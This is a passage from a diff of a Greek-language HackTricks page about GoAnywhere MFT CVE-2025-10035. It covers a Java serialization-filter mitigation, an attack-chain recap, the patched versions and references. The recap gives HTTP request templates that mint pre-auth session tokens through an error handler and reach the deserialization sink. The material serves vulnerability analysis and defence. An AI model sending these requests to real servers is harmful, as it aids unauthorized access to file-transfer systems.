ValidatingObjectInputStream/ObjectInputFilter). +- Αφαιρέστε ροές χειρισμού σφαλμάτων που εκδίδουν session-bound tokens για μη πιστοποιημένους χρήστες. Αντιμετωπίστε τα μονοπάτια σφάλματος ως επιφάνεια επίθεσης. +- Προτιμήστε Java serialization filters (JEP 290) με αυστηρές allow-lists τόσο για την εξωτερική όσο και για την εσωτερική αποσειριοποίηση. Παράδειγμα: +```java +ObjectInputFilter filter = info -> { +Class c = info.serialClass(); +if (c == null) return ObjectInputFilter.Status.UNDECIDED; +if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED; +return ObjectInputFilter.Status.REJECTED; // outer layer +}; +ObjectInputFilter.Config.setSerialFilter(filter); +// For the inner object, apply a separate strict DTO allow-list +``` +## Παράδειγμα ανακεφαλαίωσης αλυσίδας επίθεσης (CVE-2025-10035) + +1) Pre-auth token minting via error handler: +```http +GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate +``` +Λάβετε 302 με bundle=... και ASESSIONID=...; αποκρυπτογραφήστε το bundle εκτός σύνδεσης για να ανακτήσετε το GUID. + +2) Φτάστε στο sink pre-auth με το ίδιο cookie: +```http +POST /goanywhere/lic/accept/ HTTP/1.1 +Cookie: ASESSIONID= +Content-Type: application/x-www-form-urlencoded + +bundle= +``` +3) Το RCE απαιτεί ένα σωστά υπογεγραμμένο SignedObject που περιβάλλει ένα gadget chain. Οι ερευνητές δεν μπόρεσαν να παρακάμψουν την signature verification· η εκμετάλλευση εξαρτάται από την πρόσβαση σε ένα matching private key ή σε ένα signing oracle. + +## Διορθωμένες εκδόσεις και αλλαγές συμπεριφοράς + +- GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3: +- Ενισχύουν την inner deserialization αντικαθιστώντας το SignedObject.getObject() με έναν wrapper (deserializeUntrustedSignedObject). +- Αφαιρούν το error-handler token generation, κλείνοντας την pre-auth reachability. + +## Σημειώσεις για JSF/ViewState + +Το reachability trick αξιοποιεί μια JSF σελίδα (.xhtml) και ένα invalid javax.faces.ViewState για να δρομολογήσει σε έναν privileged error handler. Παρότι δεν είναι ζήτημα JSF deserialization, αποτελεί ένα επαναλαμβανόμενο pre-auth μοτίβο: παραβιάστε error handlers που εκτελούν privileged actions και ορίζουν security-relevant session attributes. + +## Αναφορές + +- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/) +- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012) + +{{#include ../../banners/hacktricks-training.md}}